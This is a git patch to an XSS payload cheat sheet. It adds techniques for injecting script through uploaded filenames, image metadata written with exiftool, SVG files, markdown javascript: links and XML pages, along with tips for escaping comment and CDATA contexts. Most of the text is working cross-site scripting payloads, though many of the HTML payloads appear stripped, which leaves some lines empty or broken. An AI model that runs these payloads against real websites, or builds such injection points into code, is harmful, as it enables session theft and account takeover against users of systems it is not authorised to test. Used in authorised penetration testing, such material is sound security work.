From 95e59127c06dc2de9f87d935fd175a5bbf233239 Mon Sep 17 00:00:00 2001 From: Muhammad Daffa <36522826+daffainfo@users.noreply.github.com> Date: Thu, 1 Oct 2020 22:29:55 +0700 Subject: [PATCH] XSS [5] Add 5 XSS cheat sheet --- XSS.md | 37 ++++++++++++++++++++++++++++++++----- 1 file changed, 32 insertions(+), 5 deletions(-) diff --git a/XSS.md b/XSS.md index cfd5c5c..c9202b4 100644 --- a/XSS.md +++ b/XSS.md @@ -1,4 +1,4 @@ -# XSS Payloads +# XSS Cheat Sheet (Basic) 1. Basic payload ```html @@ -38,6 +38,7 @@ ``` 4. Add when the input inside or between opening/closing tags, tag can be , and any other HTML tags + ```html "> @@ -45,12 +46,12 @@ * Example source code ```html -1 +1 ``` * After input the payload ```html -">1 +">1 ``` 5. Use when input inside an attribute’s value of an HTML tag but > is filtered @@ -84,10 +85,11 @@ * After input the payload ```html alert(1)'; + var sitekey = ''; ``` +# XSS Cheat Sheet (Advanced) 7. Use when input lands in a script block, inside a string delimited value. ```html '-alert(1)-' @@ -244,4 +246,29 @@ ${alert(1)} ``` -*Will be updated again! +14. XSS in filename (File Upload) Use when uploaded filename is reflected somewhere in target page +``` +">.jpeg +``` + +15. XSS in metadata (File Upload) Use when uploaded metada is reflected somewhere in target page (using exiftool) +``` +$ exiftool -Artist='">' dapos.jpeg +``` + +16. XSS with SVG file (File Upload) +``` + +``` + +17. XSS via markdown +``` +[Click Me](javascript:alert('1')) +``` + +18. XSS in XML page +``` +alert(1) +``` +> Add a "-->" to payload if input lands in a comment section +> Add a "]]>" if input lands in a CDATA section